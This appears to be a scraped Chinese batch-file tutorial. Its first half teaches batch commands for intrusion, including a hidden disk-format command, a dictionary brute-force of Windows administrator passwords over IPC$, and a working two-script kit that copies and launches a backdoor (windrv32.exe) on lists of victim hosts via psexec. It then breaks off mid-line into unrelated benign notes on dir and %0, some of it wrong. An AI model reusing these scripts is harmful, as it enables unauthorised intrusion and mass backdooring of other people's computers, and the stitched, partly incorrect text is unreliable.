批处理文件详解如果没有一定的相关知识恐怕不容易看懂和理解批处理文件,也就更谈不上自己动手编写了 批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用,例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。一.简单批处理内部命令简介1.Echo 命令打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。语法echo [{ on|off }] [message]Sample:@echo off / echo hello world在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。2.@ 命令表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。Sample:@echo off@echo Now initializing the program,please wait a minite...@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)3.Goto 命令指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。语法:goto label (label是参数,指定所要转向的批处理程序中的行。)Sample:if { %1 }=={ } goto noparmsif { %2 }=={ } goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)@Rem check parameters if null show usage:noparmsecho Usage: monitor.bat ServerIP PortNumbergoto end标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。4.Rem 命令注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。Rem MessageSample:@Rem Here is the description.5.Pause 命令运行 Pause 命令时,将显示下面的消息:Press any key to continue . . .Sample:@echo off:begincopy a:*.* d:\\backecho Please put a new disk into driver Apausegoto begin在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\\back中。显示的注释提示您将另一

张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。6.Call 命令从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用语法call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]参数[Drive: }[Path] FileName指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。7.start 命令调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。入侵常用参数:MIN 开始时窗口最小化SEPARATE 在分开的空间内开始 16 位 Windows 程序HIGH 在 HIGH 优先级类别开始应用程序REALTIME 在 REALTIME 优先级类别开始应用程序WAIT 启动应用程序并等候它结束parameters 这些为传送到命令/程序的参数执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。8.choice 命令choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……如: choice /c:dme defrag,mem,end将显示defrag,mem,end[D,M,E]?Sample:Sample.bat的内容如下:@echo offchoice /c:dme defrag,mem,endif errorlevel 3 goto defrag (应先判断数值最高的错误码)if errorlevel 2 goto memif errotlevel 1 goto end:defragc:\\dos\\defraggoto end:memmemgoto end:endecho good bye此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。9.If 命令if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:1、if "参数" == "字符串"  待执行的命令参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)如if "%1"=="a" format a:if { %1 }=={ } goto noparmsif { %2 }=={ } goto noparms2、if exist 文件名  待执行的命令如果有指定的文件,则条件成立,运行命令,否则运行下一句如if exist config.sys edit config.sys3、if errorlevel / if not errorlevel 数字  待执行的命令如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。如if errorlevel 2 goto x2  DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。10

.for 命令for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。在批处理文件中使用 FOR 命令时,指定变量请使用 %%variablefor { %variable|%%variable } in (set) do command [ CommandLineOptions]%variable 指定一个单一字母可替换的参数。(set) 指定一个或一组文件。可以使用通配符。command 指定对每个文件执行的命令。command-parameters 为特定命令指定参数或命令行开关。在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I如果命令扩展名被启用,下列额外的 FOR 命令格式会受到支持:FOR /D %variable IN (set) DO command [command-parameters]如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。FOR /R [[drive:]path] %variable IN (set) DO command [command-检查以 [drive:]path 为根的目录树,指向每个目录中的FOR 语句。如果在 /R 后没有指定目录,则使用当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。FOR /L %variable IN (start,step,end) DO command [command-para该集表示以增量形式从开始到结束的一个数字序列。因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生序列 (5 4 3 2 1)。FOR /F ["options"] %variable IN (file-set) DO commandFOR /F ["options"] %variable IN ("string") DO commandFOR /F ["options"] %variable IN (\'command\') DO command或者,如果有 usebackq 选项:FOR /F ["options"] %variable IN (file-set) DO commandFOR /F ["options"] %variable IN ("string") DO commandFOR /F ["options"] %variable IN (\'command\') DO commandfilenameset 为一个或多个文件名。继续到 filenameset 中的下一个文件之前,每份文件都已被打开、读取并经过处理。处理包括读取文件,将其分成一行行的文字,然后将每行解析成零或更多的符号。然后用已找到的符号字符串变量值调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。您可通过指定可选 "options"参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同解析选项的关键字。这些关键字为:eol=c - 指一个行注释字符的结尾(就一个)skip=n - 指在文件开始时忽略的行数delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的格式为一个范围。通过 nth 符号指定 m符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之分配并接受行的保留文本。usebackq - 指定新语法已在下类情况中使用:在作为命令执

行一个后引号的字符串并且引号字符为文字字符串命令并允许在 fi中使用双引号扩起文件名称。sample1:FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或空格定界符号。请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用 %j 来取得第三个符号,引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。%i 专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 \'z\' 或\'Z\' 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;同时不能有 52 个以上都在使用中。您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。这样,该字符串会被当作一个文件中的一个单一输入行。最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此,以下例子:FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i会枚举当前环境中的环境变量名称。另外,FOR 变量参照的替换已被增强。您现在可以使用下列选项语法:~I - 删除任何引号("),扩充 %I%~fI - 将 %I 扩充到一个完全合格的路径名%~dI - 仅将 %I 扩充到一个驱动器号%~pI - 仅将 %I 扩充到一个路径%~nI - 仅将 %I 扩充到一个文件名%~xI - 仅将 %I 扩充到一个文件扩展名%~sI - 扩充的路径只含有短名%~aI - 将 %I 扩充到文件的文件属性%~tI - 将 %I 扩充到文件的日期/时间%~zI - 将 %I 扩充到文件的大小%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称。如果环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串可以组合修饰符来得到多重结果:%~dpI - 仅将 %I 扩充到一个驱动器号和路径%~nxI - 仅将 %I 扩充到一个文件名和扩展名%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径。%~ftzaI - 将 %I 扩充到类似输出线路的 DIR在以上例子中,%I 和 PATH 可用其他有效数值代

替。%~ 语用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆。以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。sample2:利用For命令来实现对一台目标Win2k主机的暴力密码破解。我们用net use \\\\ip\\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。最主要的命令是一条:for /f i% in (dict.txt) do net use \\\\ip\\ipc$ "i%" /u:"administrator"用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--for /f i%% in (dict.txt) do net use \\\\ip\\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\\ok.txt ,这样就ko了。sample3:你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%ktokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。代码雏形:--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------@echo off@if "%1"=="" goto usage@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k@goto end:usage@echo run this batch in dos modle.or just double-click it.:end--------------- cut here then save as a batchfile(I call it main.bat ) --------------------------------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------@net use \\\\%1\\ipc$ %3 /u:"%2"@if errorlevel 1 goto failed@echo Trying to establish the IPC$ connection …………OK@copy windrv32.exe\\\\%1\\admin$\\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt@psexec \\\\%1 c:\\winnt\\system32\\windrv32.exe@psexec \\\\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt:failed@echo Sorry can not connected to the victim.----------------- cut here then save as a

批处理 显示系统文件篇十:用批处理命令批量获取指定文件夹内的文件名

用批处理命令批量获取指定文件夹内的文件名

在需要提取文件名的文件夹内新建一个文本文件,输入内容:

dir /s /w >>catalog.txt

保存后将其文件后缀.txt改为.bat,然后运行之,该文件夹下会自动产生一个catalog.txt的文本文件,其中就包含了当前文件夹的所有文件名列表。这个bat文件可以挪到任何文件夹下进行运行。

参数解读:

如果为dir*.doc/s /w >>catalog.txt,表示仅生成后缀为.doc的文件,如果是*.*,那就表明包含所有文件,因此也可以省略不写(如最上面提到的范例)。

/s 表示只显示系统文件;

/w 表示只显示文件名,至于文件大小及建立的日期和时间则都省略;

--------------------------------------------------------------------------------

更多参考:DIR 命令的格式

dir [D:][PATH][NAME][[/A][:attrib]][/o:[sorted][/s][/l][/c[h]

(1)dir /a:attrib 缺省包含所有文件(系统文件.隐含文件)

attrib[:][h/-h]只显示隐含文件或非隐含文件.

[r/-r]只显示只读文件或非只读文件

[s/-s]只显示系统文件或非系统文件

[a/-a]只显示要归档文件或非归档文件

(2)/o[:]sorted:缺省完全按字母顺序,子目录显示在文件之前

/o[n/-n]:按字母顺序或按文件名顺序/反向显示

[e/-e]:按扩展名字母顺序/反向显示

[d/-d]:按时间顺序/反向显示

[s/-s]:按大小从大到小或/反向显示

[g/-g]:按子目录先于文件或文件先于子目录

(3)/s 参数:对当前目录及其子目录中所有文件进行列表

(4)/B 参数:将只显示文件名与扩展名

(5)/L 参数:将全部用小写字母对文件或子目录进行列表

如何快速获取当前目录下的xls文件清单

1,新建一txt文件,输入如下代码:

For /r %%i in (*.xls) DO @echo %%~fi >>Excel文件名.txt

其中粗体部分为执行批处理后新生成的存放xls文件名清单的txt文件

2,存盘后更改扩展名txt为bat

3,执行bat文件,就生成了txt格式的文件名清单

4,附件为可执行bat文件

批处理自身 %0 的总结。

批处理运用中,经常要对自身进行操作,

如:提取路径,文件名,后缀名,大小,等等。。。。

充分利用%0的扩展功能,可以很方便的实现。

:: code by 随风 @bbs.bathome.cn 2008/01/08

1、获取批处理自身的完整路径

@echo off

echo %0

pause

2、获取批处理自身的完整路径,并去掉首尾的引号 @echo off

echo %~0

pause

3、获取批处理自身的文件名及后缀名

@echo off

echo %~nx0

pause

4、获取批处理自身的文件名

@echo off

echo %~n0

pause

5、获取批处理自身的后缀名

@echo off

echo %~x0

pause

6、获取批处理自身的完整路径,不含文件名 @echo off

echo %~dp0

pause

@echo off

echo %cd%

pause

7、获取批处理自身的盘符

@echo off

echo %~d0

pause

8、获取批处理自身的大小

@echo off

echo %~z0

pause

9、获取批处理自身的修改时间

@echo off

echo %~t0

pause

本文来源:http://www.guakaob.com/jisuanjileikaoshi/123335.html